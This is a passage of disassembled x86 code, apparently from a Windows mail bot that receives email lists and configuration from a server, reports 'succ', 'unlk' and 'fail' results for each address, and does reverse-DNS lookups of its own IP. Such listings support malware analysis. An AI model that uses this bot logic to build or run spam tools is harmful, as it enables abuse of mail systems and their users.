		dec	dword ptr [eax]
		mov	ebx, [esi+4]
		cmp	ebx, [esi+8]
		jbe	short loc_402AFB
		call	sub_40DCFC


loc_402AFB:				; CODE XREF: sub_402AA0+54j
		mov	[ebp-28h], esi
		mov	[ebp-24h], ebx


loc_402B01:				; CODE XREF: sub_402AA0+105j
		mov	ebx, [esi+8]
		cmp	[esi+4], ebx
		jbe	short loc_402B0E
		call	sub_40DCFC


loc_402B0E:				; CODE XREF: sub_402AA0+67j
		cmp	[ebp-24h], ebx
		jz	loc_402BAA
		mov	eax, [ebp-14h]
		cmp	eax, [ebp-18h]
		jnb	loc_402BAA
		mov	esi, [ebp+8]
		call	sub_406402
		add	eax, 34h
		inc	dword ptr [eax]
		push	2Ch
		call	sub_40DE68
		mov	ebx, eax
		pop	ecx
		mov	[ebp-1Ch], ebx
		and	dword ptr [ebp-4], 0
		test	ebx, ebx
		jz	short loc_402B73
		lea	esi, [ebp-28h]
		call	sub_409835
		mov	[ebx+4], edi
		mov	ecx, [ebp+8]
		mov	byte ptr [ebp-4], 1
		mov	dword ptr [ebx], offset	off_41EB64
		mov	edx, [ecx]
		mov	[ebx+8], edx
		mov	ecx, [ecx+4]
		mov	[ebx+0Ch], ecx
		push	eax
		lea	ecx, [ebx+10h]
		call	sub_401C1E
		jmp	short loc_402B75
; ---------------------------------------------------------------------------


loc_402B73:				; CODE XREF: sub_402AA0+A3j
		xor	ebx, ebx


loc_402B75:				; CODE XREF: sub_402AA0+D1j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [edi+0F0h]
		mov	[ebp-1Ch], ebx
		call	sub_4058F2
		mov	eax, [ebp+0Ch]
		mov	ecx, [ebp-24h]
		cmp	ecx, [eax+8]
		jb	short loc_402B9B
		call	sub_40DCFC


loc_402B9B:				; CODE XREF: sub_402AA0+F4j
		add	dword ptr [ebp-24h], 1Ch
		inc	dword ptr [ebp-14h]
		mov	esi, [ebp+0Ch]
		jmp	loc_402B01
; ---------------------------------------------------------------------------


loc_402BAA:				; CODE XREF: sub_402AA0+71j
					; sub_402AA0+7Dj
		push	dword ptr [edi+104h]
		call	dword_41C088	; SetEvent
		push	dword ptr [ebp-20h]
		call	dword_41C06C	; RtlLeaveCriticalSection
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_402AA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_402BCF	proc near		; CODE XREF: sub_407784+124p
		mov	eax, offset loc_41B2BE
		call	sub_41AE44
		sub	esp, 40h
		push	ebx
		xor	ebx, ebx
		cmp	[edi+58h], bl
		push	esi
		jz	short loc_402C22
		cmp	dword ptr [edi+34h], 10h
		jb	short loc_402BF0
		mov	ecx, [edi+20h]
		jmp	short loc_402BF3
; ---------------------------------------------------------------------------


loc_402BF0:				; CODE XREF: sub_402BCF+1Aj
		lea	ecx, [edi+20h]


loc_402BF3:				; CODE XREF: sub_402BCF+1Fj
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_402BFE
		mov	eax, [edi+4]
		jmp	short loc_402C01
; ---------------------------------------------------------------------------


loc_402BFE:				; CODE XREF: sub_402BCF+28j
		lea	eax, [edi+4]


loc_402C01:				; CODE XREF: sub_402BCF+2Dj
		push	ecx
		push	eax
		push	offset aSuccS@S	; "succ: %s@%s\n"
		call	sub_4024A7
		push	eax
		push	5
		pop	ecx
		call	sub_40195C
		add	esp, 10h
		mov	byte ptr [edi+59h], 3
		jmp	loc_402E0F
; ---------------------------------------------------------------------------


loc_402C22:				; CODE XREF: sub_402BCF+14j
		cmp	dword ptr [edi+54h], 0FFFFFFFFh
		jnz	short loc_402C65
		cmp	dword ptr [edi+34h], 10h
		jb	short loc_402C33
		mov	ecx, [edi+20h]
		jmp	short loc_402C36
; ---------------------------------------------------------------------------


loc_402C33:				; CODE XREF: sub_402BCF+5Dj
		lea	ecx, [edi+20h]


loc_402C36:				; CODE XREF: sub_402BCF+62j
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_402C41
		mov	eax, [edi+4]
		jmp	short loc_402C44
; ---------------------------------------------------------------------------


loc_402C41:				; CODE XREF: sub_402BCF+6Bj
		lea	eax, [edi+4]


loc_402C44:				; CODE XREF: sub_402BCF+70j
		push	ecx
		push	eax
		push	offset aUnlkS@SConnect ; "unlk:	%s@%s (connection error)\n"
		call	sub_4024A7
		push	eax
		push	5
		pop	ecx
		call	sub_40195C
		add	esp, 10h
		mov	byte ptr [edi+59h], 2
		jmp	loc_402E0F
; ---------------------------------------------------------------------------


loc_402C65:				; CODE XREF: sub_402BCF+57j
		push	ebx
		lea	ecx, [ebp-48h]
		mov	dword ptr [ebp-30h], 0Fh
		call	sub_401564
		mov	[ebp-4], ebx
		mov	eax, [edi+4Ch]
		cmp	eax, [ebp-34h]
		ja	short loc_402C8D
		push	0FFFFFFFFh
		push	eax
		lea	ecx, [ebp-48h]
		call	sub_4014F5
		jmp	short loc_402C9B
; ---------------------------------------------------------------------------


loc_402C8D:				; CODE XREF: sub_402BCF+AFj
		push	ebx
		mov	ebx, eax
		sub	ebx, [ebp-34h]
		lea	esi, [ebp-48h]
		call	sub_40140F


loc_402C9B:				; CODE XREF: sub_402BCF+BCj
		lea	eax, [ebp-14h]
		lea	ecx, [ebp-48h]
		call	sub_405472
		mov	esi, eax
		lea	ecx, [edi+38h]
		lea	eax, [ebp-1Ch]
		call	sub_405492
		mov	ebx, eax
		lea	eax, [ebp-24h]
		lea	ecx, [edi+38h]
		call	sub_405472
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	dword ptr [ebx+4]
		push	dword ptr [ebx]
		lea	ebx, [ebp-2Ch]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_406A1C
		mov	eax, [ebp+8]
		mov	esi, [eax+78h]
		mov	ebx, [esi+20h]
		add	esi, 1Ch
		add	esp, 18h
		cmp	ebx, [esi+8]
		jbe	short loc_402CF0
		call	sub_40DCFC


loc_402CF0:				; CODE XREF: sub_402BCF+11Aj
		mov	[ebp-14h], esi
		mov	[ebp-10h], ebx


loc_402CF6:				; CODE XREF: sub_402BCF+1A0j
		mov	eax, [ebp+8]
		mov	esi, [eax+78h]
		mov	ebx, [esi+24h]
		add	esi, 1Ch
		cmp	[esi+4], ebx
		jbe	short loc_402D0C
		call	sub_40DCFC


loc_402D0C:				; CODE XREF: sub_402BCF+136j
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_402D17
		cmp	[ebp-14h], esi
		jz	short loc_402D1C


loc_402D17:				; CODE XREF: sub_402BCF+141j
		call	sub_40DCFC


loc_402D1C:				; CODE XREF: sub_402BCF+146j
		cmp	[ebp-10h], ebx
		jz	loc_402DBC
		lea	esi, [ebp-14h]
		call	sub_409835
		mov	ecx, [eax+14h]
		push	10h
		pop	ebx
		cmp	[eax+18h], ebx
		jb	short loc_402D3D
		mov	eax, [eax+4]
		jmp	short loc_402D40
; ---------------------------------------------------------------------------


loc_402D3D:				; CODE XREF: sub_402BCF+167j
		add	eax, 4


loc_402D40:				; CODE XREF: sub_402BCF+16Cj
		push	ecx
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		xor	eax, eax
		call	sub_401E6B
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402D71
		mov	esi, [ebp-14h]
		test	esi, esi
		jnz	short loc_402D5E
		call	sub_40DCFC


loc_402D5E:				; CODE XREF: sub_402BCF+188j
		mov	eax, [ebp-10h]
		cmp	eax, [esi+8]
		jb	short loc_402D6B
		call	sub_40DCFC


loc_402D6B:				; CODE XREF: sub_402BCF+195j
		add	dword ptr [ebp-10h], 1Ch
		jmp	short loc_402CF6
; ---------------------------------------------------------------------------


loc_402D71:				; CODE XREF: sub_402BCF+181j
		lea	esi, [ebp-14h]
		call	sub_409835
		cmp	[eax+18h], ebx
		jb	short loc_402D83
		mov	eax, [eax+4]
		jmp	short loc_402D86
; ---------------------------------------------------------------------------


loc_402D83:				; CODE XREF: sub_402BCF+1ADj
		add	eax, 4


loc_402D86:				; CODE XREF: sub_402BCF+1B2j
		cmp	[edi+34h], ebx
		jb	short loc_402D90
		mov	edx, [edi+20h]
		jmp	short loc_402D93
; ---------------------------------------------------------------------------


loc_402D90:				; CODE XREF: sub_402BCF+1BAj
		lea	edx, [edi+20h]


loc_402D93:				; CODE XREF: sub_402BCF+1BFj
		cmp	[edi+18h], ebx
		jb	short loc_402D9D
		mov	ecx, [edi+4]
		jmp	short loc_402DA0
; ---------------------------------------------------------------------------


loc_402D9D:				; CODE XREF: sub_402BCF+1C7j
		lea	ecx, [edi+4]


loc_402DA0:				; CODE XREF: sub_402BCF+1CCj
		push	eax
		push	edx
		push	ecx
		push	offset aFailS@SMatched ; "fail:	%s@%s matched string '%s'\n"
		call	sub_4024A7
		push	eax
		push	5
		pop	ecx
		call	sub_40195C
		mov	byte ptr [edi+59h], 1
		jmp	short loc_402E00
; ---------------------------------------------------------------------------


loc_402DBC:				; CODE XREF: sub_402BCF+150j
		cmp	dword ptr [edi+50h], 10h
		jb	short loc_402DC7
		mov	edx, [edi+3Ch]
		jmp	short loc_402DCA
; ---------------------------------------------------------------------------


loc_402DC7:				; CODE XREF: sub_402BCF+1F1j
		lea	edx, [edi+3Ch]


loc_402DCA:				; CODE XREF: sub_402BCF+1F6j
		cmp	dword ptr [edi+34h], 10h
		jb	short loc_402DD5
		mov	ecx, [edi+20h]
		jmp	short loc_402DD8
; ---------------------------------------------------------------------------


loc_402DD5:				; CODE XREF: sub_402BCF+1FFj
		lea	ecx, [edi+20h]


loc_402DD8:				; CODE XREF: sub_402BCF+204j
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_402DE3
		mov	eax, [edi+4]
		jmp	short loc_402DE6
; ---------------------------------------------------------------------------


loc_402DE3:				; CODE XREF: sub_402BCF+20Dj
		lea	eax, [edi+4]


loc_402DE6:				; CODE XREF: sub_402BCF+212j
		push	edx
		push	ecx
		push	eax
		push	offset aUnlkS@SS ; "unlk: %s@%s	(%s)\n"
		call	sub_4024A7
		push	eax
		push	5
		pop	ecx
		call	sub_40195C
		mov	byte ptr [edi+59h], 0


loc_402E00:				; CODE XREF: sub_402BCF+1EBj
		add	esp, 14h
		push	0
		push	1
		lea	ecx, [ebp-48h]
		call	sub_4013C4


loc_402E0F:				; CODE XREF: sub_402BCF+4Ej
					; sub_402BCF+91j
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_402BCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402E1F	proc near		; CODE XREF: sub_4080EE+65p
		mov	eax, offset loc_41B670
		call	sub_41AE44
		sub	esp, 128h
		push	edi
		lea	eax, [ebp-134h]
		push	eax
		call	sub_402509
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-134h]
		push	eax
		call	sub_405089
sub_402E1F	endp

; ---------------------------------------------------------------------------
		lea	edi, [ebp-134h]
		call	sub_40260A
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402E64	proc near		; CODE XREF: sub_402F64+114p
		mov	eax, offset loc_41B029
		call	sub_41AE44
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	ebx
		lea	ecx, [ebp-38h]
		mov	[ebp-10h], ebx
		mov	dword ptr [ebp-20h], 0Fh
		call	sub_401564
		or	esi, 0FFFFFFFFh
		mov	[ebp-4], ebx
		mov	[ebp-14h], esi
		mov	[ebp-18h], esi
		mov	[ebp-1Ch], esi
		mov	eax, esi
		mov	[ebp-10h], ebx


loc_402E9D:				; CODE XREF: sub_402E64+59j
		mov	edi, [ebp+0Ch]
		push	eax
		call	sub_4054B7
		cmp	eax, ebx
		mov	ecx, [ebp-10h]
		mov	[ebp+ecx*4-1Ch], eax
		jz	short loc_402EBF
		cmp	eax, esi
		jz	short loc_402EBF
		dec	eax
		inc	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-10h], 3
		jl	short loc_402E9D


loc_402EBF:				; CODE XREF: sub_402E64+4Bj
					; sub_402E64+4Fj
		mov	eax, [ebp-1Ch]
		cmp	eax, esi
		jnz	short loc_402EE3
		mov	ecx, [ebp+8]
		push	offset dword_41E020
		call	sub_401C44
		push	ebx
		push	1
		lea	ecx, [ebp-38h]
		call	sub_4013C4
		mov	eax, [ebp+8]
		jmp	short loc_402F4E
; ---------------------------------------------------------------------------


loc_402EE3:				; CODE XREF: sub_402E64+60j
		push	esi
		inc	eax
		push	eax
		push	edi
		lea	esi, [ebp-54h]
		call	sub_405527
		push	0FFFFFFFFh
		push	ebx
		push	eax
		lea	ecx, [ebp-38h]
		mov	byte ptr [ebp-4], 1
		call	sub_401315
		push	ebx
		push	1
		mov	ecx, esi
		mov	[ebp-4], bl
		call	sub_4013C4
		cmp	off_424310, ebx
		mov	edi, offset off_424310
		jz	short loc_402F2F


loc_402F19:				; CODE XREF: sub_402E64+C9j
		push	dword ptr [edi]
		lea	esi, [ebp-38h]
		call	sub_406A6D
		test	al, al
		pop	ecx
		jnz	short loc_402F5F
		add	edi, 4
		cmp	[edi], ebx
		jnz	short loc_402F19


loc_402F2F:				; CODE XREF: sub_402E64+B3j
		mov	eax, [ebp-14h]


loc_402F32:				; CODE XREF: sub_402E64+FEj
		mov	esi, [ebp+8]
		push	0FFFFFFFFh
		inc	eax
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_405527
		push	ebx
		push	1
		lea	ecx, [ebp-38h]
		call	sub_4013C4
		mov	eax, esi


loc_402F4E:				; CODE XREF: sub_402E64+7Dj
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_402F5F:				; CODE XREF: sub_402E64+C2j
		mov	eax, [ebp-18h]
		jmp	short loc_402F32
sub_402E64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402F64	proc near		; DATA XREF: .vty:off_41EB34o

var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= byte ptr -148h
var_144		= dword	ptr -144h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	0FFFFFFFFh
		push	offset SEH_402F64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 150h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	esi, ecx
		push	ebx
		lea	ecx, [esp+16Ch+var_148]
		mov	[esp+16Ch+var_158], ebx
		mov	[esp+16Ch+var_130], 0Fh
		call	sub_401564
		mov	[esp+168h+var_4], ebx
		movzx	eax, byte ptr [ebp+arg_4]
		push	eax
		movzx	eax, byte ptr [ebp+arg_4+1]
		push	eax
		movzx	eax, byte ptr [ebp+arg_4+2]
		push	eax
		mov	eax, [ebp+arg_4]
		shr	eax, 18h
		push	eax
		push	offset aD_D_D_D_inAddr ; "%d.%d.%d.%d.in-addr.arpa"
		lea	eax, [esp+17Ch+var_110]
		push	100h
		push	eax
		call	sub_40D9FB
		add	esp, 1Ch
		push	0FFFFFFFFh
		lea	edi, [esi+4]
		push	ebx
		push	edi
		lea	ecx, [esp+174h+var_148]
		mov	[esp+174h+var_150], edi
		call	sub_401315
		push	[ebp+arg_4]
		call	dword_41C1FC	; inet_ntoa
		push	eax
		mov	ecx, edi
		call	sub_4013A7
		lea	eax, [esi+20h]
		mov	[esp+168h+var_154], eax
		call	sub_4053F0
		lea	eax, [esi+3Ch]
		mov	[esp+168h+var_14C], eax
		call	sub_4053F0
		cmp	[esp+168h+var_130], 10h
		mov	eax, [esp+168h+var_144]
		jnb	short loc_403022
		lea	eax, [esp+168h+var_144]


loc_403022:				; CODE XREF: sub_402F64+B8j
		mov	edi, [esp+168h+var_134]
		push	eax
		mov	eax, [esp+16Ch+var_150]
		mov	ecx, [eax+14h]
		call	sub_4059BE
		test	eax, eax
		jz	short loc_40303D
		push	esi
		call	sub_403E41


loc_40303D:				; CODE XREF: sub_402F64+D1j
		push	ebx
		lea	eax, [esp+16Ch+var_158]
		push	eax
		push	ebx
		push	100h
		push	0Ch
		lea	eax, [esp+17Ch+var_110]
		push	eax
		call	sub_40D772	; DnsQuery_A
		test	eax, eax
		jnz	short loc_4030BB
		mov	edi, [esp+168h+var_158]
		jmp	short loc_4030AC
; ---------------------------------------------------------------------------


loc_40305F:				; CODE XREF: sub_402F64+14Aj
		mov	eax, [esp+168h+var_158]
		push	dword ptr [eax+18h]
		mov	ecx, [esp+16Ch+var_154]
		call	sub_4013A7
		push	[esp+168h+var_154]
		lea	eax, [esp+16Ch+var_12C]
		push	eax
		call	sub_402E64
		mov	ecx, [esp+168h+var_14C]
		push	0FFFFFFFFh
		push	ebx
		push	eax
		mov	byte ptr [esp+174h+var_4], 1
		call	sub_401315
		push	ebx
		push	1
		lea	ecx, [esp+170h+var_12C]
		mov	byte ptr [esp+170h+var_4], bl
		call	sub_4013C4
		cmp	[esi+50h], ebx
		jnz	short loc_4030B0
		mov	edi, [edi]


loc_4030AC:				; CODE XREF: sub_402F64+F9j
		cmp	edi, ebx
		jnz	short loc_40305F


loc_4030B0:				; CODE XREF: sub_402F64+144j
		push	1
		push	[esp+16Ch+var_158]
		call	sub_40D778	; DnsRecordListFree


loc_4030BB:				; CODE XREF: sub_402F64+F3j
		cmp	[esi+34h], ebx
		mov	esi, [esp+168h+var_150]
		jnz	short loc_4030D1
		mov	ecx, [esp+168h+var_154]
		push	0FFFFFFFFh
		push	ebx
		push	esi
		call	sub_401315


loc_4030D1:				; CODE XREF: sub_402F64+15Ej
		mov	ecx, [esp+168h+var_14C]
		cmp	dword ptr [ecx+18h], 10h
		jb	short loc_4030E0
		mov	ecx, [ecx+4]
		jmp	short loc_4030E3
; ---------------------------------------------------------------------------


loc_4030E0:				; CODE XREF: sub_402F64+175j
		add	ecx, 4


loc_4030E3:				; CODE XREF: sub_402F64+17Aj
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_4030EE
		mov	eax, [esi+4]
		jmp	short loc_4030F1
; ---------------------------------------------------------------------------


loc_4030EE:				; CODE XREF: sub_402F64+183j
		lea	eax, [esi+4]


loc_4030F1:				; CODE XREF: sub_402F64+188j
		push	ecx
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	ecx, al
		push	ecx
		movzx	ecx, ah
		push	ecx
		shr	eax, 10h
		push	eax
		push	offset aServerVersionD ; "Server version %d.%d.%d, my ip %s (%s)\n"...
		call	sub_4024A7
		push	eax
		push	4
		pop	ecx
		call	sub_40195C
		add	esp, 1Ch
		push	ebx
		push	1
		lea	ecx, [esp+170h+var_148]
		call	sub_4013C4
		mov	ecx, [esp+168h+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_402F64	endp


; =============== S U B	R O U T	I N E =======================================



sub_40313B	proc near		; DATA XREF: .vty:0041EB38o
		push	offset aPong	; "PONG\n"
		call	sub_4024A7
		push	eax
		push	4
		pop	ecx
		call	sub_40195C
		pop	ecx
		pop	ecx
		retn
sub_40313B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403151	proc near		; DATA XREF: .vty:0041EB3Co

var_5C		= dword	ptr -5Ch
var_48		= byte ptr -48h
var_2C		= byte ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_50		= dword	ptr  58h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_41B2BE
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	offset aEmails	; "EMAILS\n"
		mov	edi, ecx
		call	sub_4024A7
		push	eax
		push	4
		pop	ecx
		call	sub_40195C
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi+8], 0
		pop	ecx
		pop	ecx
		jnz	short loc_4031C2
		push	offset aMailbotOnemail ; "MailBot::onEmails: got empty bucket\n"
		lea	ecx, [esp+74h+var_48]
		call	sub_401C44
		and	[esp+70h+var_4], 0
		lea	eax, [esp+70h+var_48]
		push	eax
		lea	ecx, [esp+74h+var_2C]
		call	sub_401C1E
		push	offset dword_41FF2C
		lea	eax, [esp+74h+var_2C]
		push	eax
		call	sub_4107BC


loc_4031C2:				; CODE XREF: sub_403151+3Fj
		mov	ebx, dword_41C070
		lea	eax, [edi+108h]
		push	eax
		mov	[esp+74h+var_5C], eax
		call	ebx	; RtlEnterCriticalSection
		lea	eax, [edi+0B8h]
		push	eax
		call	ebx	; RtlEnterCriticalSection
		cmp	dword ptr [edi+94h], 0
		lea	ebx, [edi+8Ch]
		jnz	short loc_403233
		cmp	ebx, esi
		jz	short loc_403224
		mov	eax, [esi+4]
		mov	[esp+arg_4], eax
		mov	eax, [eax]
		mov	esi, ebx
		mov	[esp+arg_14], eax
		call	sub_4055A2
		push	[esp+arg_4]
		mov	eax, [ebx+4]
		push	[ebp+arg_0]
		mov	eax, [eax]
		push	[esp+8+arg_14]
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	[esp+18h+arg_C]
		push	ebx
		call	sub_407454


loc_403224:				; CODE XREF: sub_403151+9Ej
		mov	eax, [ebx+4]
		mov	eax, [eax]
		mov	[esp+arg_4], ebx
		mov	[esp+arg_8], eax
		jmp	short loc_403272
; ---------------------------------------------------------------------------


loc_403233:				; CODE XREF: sub_403151+9Aj
		mov	eax, [ebx+4]
		lea	esi, [esp+arg_4]
		mov	[esp+arg_4], ebx
		mov	[esp+arg_8], eax
		call	sub_405967
		mov	edx, [ebp+arg_0]
		cmp	ebx, edx
		jz	short loc_403269
		mov	eax, [edx+8]
		test	eax, eax
		jz	short loc_403269
		mov	ecx, [edx+4]
		mov	esi, [ecx]
		push	ecx
		push	edx
		push	esi
		push	edx
		push	dword ptr [ebx+4]
		mov	ecx, ebx
		push	ebx
		call	sub_405A06


loc_403269:				; CODE XREF: sub_403151+FBj
					; sub_403151+102j
		lea	esi, [esp+arg_4]
		call	sub_405D8F


loc_403272:				; CODE XREF: sub_403151+E0j
		mov	eax, [esp+arg_4]
		mov	esi, [esp+arg_8]
		mov	[esp+arg_10], eax
		mov	[esp+arg_14], esi


loc_403282:				; CODE XREF: sub_403151+227j
		cmp	[esp+arg_10], 0
		mov	eax, [ebx+4]
		mov	[esp+arg_1C], eax
		jz	short loc_403296
		cmp	[esp+arg_10], ebx
		jz	short loc_40329B


loc_403296:				; CODE XREF: sub_403151+13Dj
		call	sub_40DCFC


loc_40329B:				; CODE XREF: sub_403151+143j
		cmp	esi, [esp+arg_1C]
		jz	loc_40337D
		cmp	[esp+arg_10], 0
		jnz	short loc_4032B1
		call	sub_40DCFC


loc_4032B1:				; CODE XREF: sub_403151+159j
		mov	eax, [esp+arg_10]
		cmp	esi, [eax+4]
		jnz	short loc_4032BF
		call	sub_40DCFC


loc_4032BF:				; CODE XREF: sub_403151+167j
		lea	eax, [esi+24h]
		call	sub_405555
		add	[edi+0B4h], eax
		mov	eax, [esp+arg_10]
		cmp	esi, [eax+4]
		jnz	short loc_4032DB
		call	sub_40DCFC


loc_4032DB:				; CODE XREF: sub_403151+183j
		mov	eax, [esi+28h]
		cmp	eax, [esi+2Ch]
		mov	[esp+arg_4], eax
		jbe	short loc_4032EC
		call	sub_40DCFC


loc_4032EC:				; CODE XREF: sub_403151+194j
		mov	eax, [esp+arg_10]
		cmp	esi, [eax+4]
		jnz	short loc_4032FA
		call	sub_40DCFC


loc_4032FA:				; CODE XREF: sub_403151+1A2j
		lea	eax, [esi+24h]
		mov	[esi+34h], eax
		mov	eax, [esp+arg_4]
		mov	[esi+38h], eax
		mov	eax, [esp+arg_10]
		cmp	esi, [eax+4]
		jnz	short loc_403315
		call	sub_40DCFC


loc_403315:				; CODE XREF: sub_403151+1BDj
		mov	dword ptr [esi+3Ch], 1
		cmp	byte ptr [edi+74h], 0
		push	10h
		jz	short loc_403336
		call	sub_40DE68
		test	eax, eax
		pop	ecx
		jz	short loc_403355
		mov	dword ptr [eax], offset	off_41EB70
		jmp	short loc_403346
; ---------------------------------------------------------------------------


loc_403336:				; CODE XREF: sub_403151+1D1j
		call	sub_40DE68
		test	eax, eax
		pop	ecx
		jz	short loc_403355
		mov	dword ptr [eax], offset	off_41EB58


loc_403346:				; CODE XREF: sub_403151+1E3j
		mov	ecx, [esp+arg_10]
		mov	[eax+4], edi
		mov	[eax+8], ecx
		mov	[eax+0Ch], esi
		jmp	short loc_403357
; ---------------------------------------------------------------------------


loc_403355:				; CODE XREF: sub_403151+1DBj
					; sub_403151+1EDj
		xor	eax, eax


loc_403357:				; CODE XREF: sub_403151+202j
		mov	[esp+arg_4], eax
		lea	eax, [esp+arg_4]
		push	eax
		lea	eax, [edi+0F0h]
		call	sub_4058F2
		lea	esi, [esp+arg_10]
		call	sub_405D8F
		mov	esi, [esp+arg_14]
		jmp	loc_403282
; ---------------------------------------------------------------------------


loc_40337D:				; CODE XREF: sub_403151+14Ej
		mov	esi, dword_41C06C
		lea	eax, [edi+0B8h]
		push	eax
		call	esi	; RtlLeaveCriticalSection
		push	dword ptr [edi+104h]
		call	dword_41C088	; SetEvent
		push	dword ptr [edi+0D8h]
		call	dword_41C0B4	; ResetEvent
		push	[esp+0Ch+arg_0]
		call	esi	; RtlLeaveCriticalSection
		mov	ecx, [esp+0Ch+arg_50]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_403151	endp

; ---------------------------------------------------------------------------


loc_4033BE:				; CODE XREF: .vty:0041AE66j
					; .vty:0041AECFj ...
		push	0
		push	1
		call	sub_4013C4
		retn
; ---------------------------------------------------------------------------
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_401C1E
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033DA	proc near		; DATA XREF: .vty:0041EB40o

var_7F		= byte ptr -7Fh
var_7E		= byte ptr -7Eh
var_7D		= byte ptr -7Dh
var_7C		= dword	ptr -7Ch
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_40		= byte ptr -40h
var_38		= byte ptr -38h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	0FFFFFFFFh
		push	offset SEH_4033DA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		push	offset aConfig	; "CONFIG\n"
		mov	[esp+94h+var_74], edi
		call	sub_4024A7
		push	eax
		push	4
		pop	ecx
		call	sub_40195C
		pop	ecx
		lea	eax, [edi+0B8h]
		pop	ecx
		push	eax
		mov	[esp+94h+var_64], eax
		call	dword_41C070	; RtlEnterCriticalSection
		mov	ebx, [edi+78h]
		test	ebx, ebx
		jz	short loc_403445
		lea	esi, [ebx+2Ch]
		call	sub_405AAC
		lea	esi, [ebx+1Ch]
		call	sub_405AAC
		push	ebx
		call	sub_40DD8A
		pop	ecx


loc_403445:				; CODE XREF: sub_4033DA+52j
		mov	esi, [ebp+arg_0]
		mov	[edi+78h], esi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_40345E
		mov	byte ptr [edi+74h], 1
		mov	dword ptr [esi+8], 1
		jmp	short loc_403462
; ---------------------------------------------------------------------------


loc_40345E:				; CODE XREF: sub_4033DA+75j
		mov	byte ptr [edi+74h], 0


loc_403462:				; CODE XREF: sub_4033DA+82j
		lea	ebx, [edi+0E0h]
		mov	eax, ebx
		call	sub_4058DF
		mov	ecx, [edi+78h]
		cmp	eax, [ecx+8]
		jnb	loc_403533


loc_40347B:				; CODE XREF: sub_4033DA+150j
		push	8
		call	sub_40DE68
		xor	esi, esi
		cmp	eax, esi
		pop	ecx
		jz	short loc_403495
		mov	[eax], edi
		mov	byte ptr [eax+4], 0
		mov	[esp+90h+var_7C], eax
		jmp	short loc_403499
; ---------------------------------------------------------------------------


loc_403495:				; CODE XREF: sub_4033DA+ADj
		mov	[esp+90h+var_7C], esi


loc_403499:				; CODE XREF: sub_4033DA+B9j
		push	esi
		push	esi
		push	[esp+98h+var_7C]
		push	offset sub_40D748
		push	esi
		push	esi
		call	sub_4104BF
		add	esp, 18h
		push	eax
		call	dword_41C0D4	; CloseHandle
		mov	eax, [esp+90h+var_7C]
		mov	[esp+90h+var_70], eax
		mov	eax, [ebx+4]
		cmp	eax, esi
		jz	short loc_4034CC
		mov	esi, [ebx+0Ch]
		sub	esi, eax
		sar	esi, 2


loc_4034CC:				; CODE XREF: sub_4033DA+E8j
		mov	eax, ebx
		call	sub_4058DF
		cmp	eax, esi
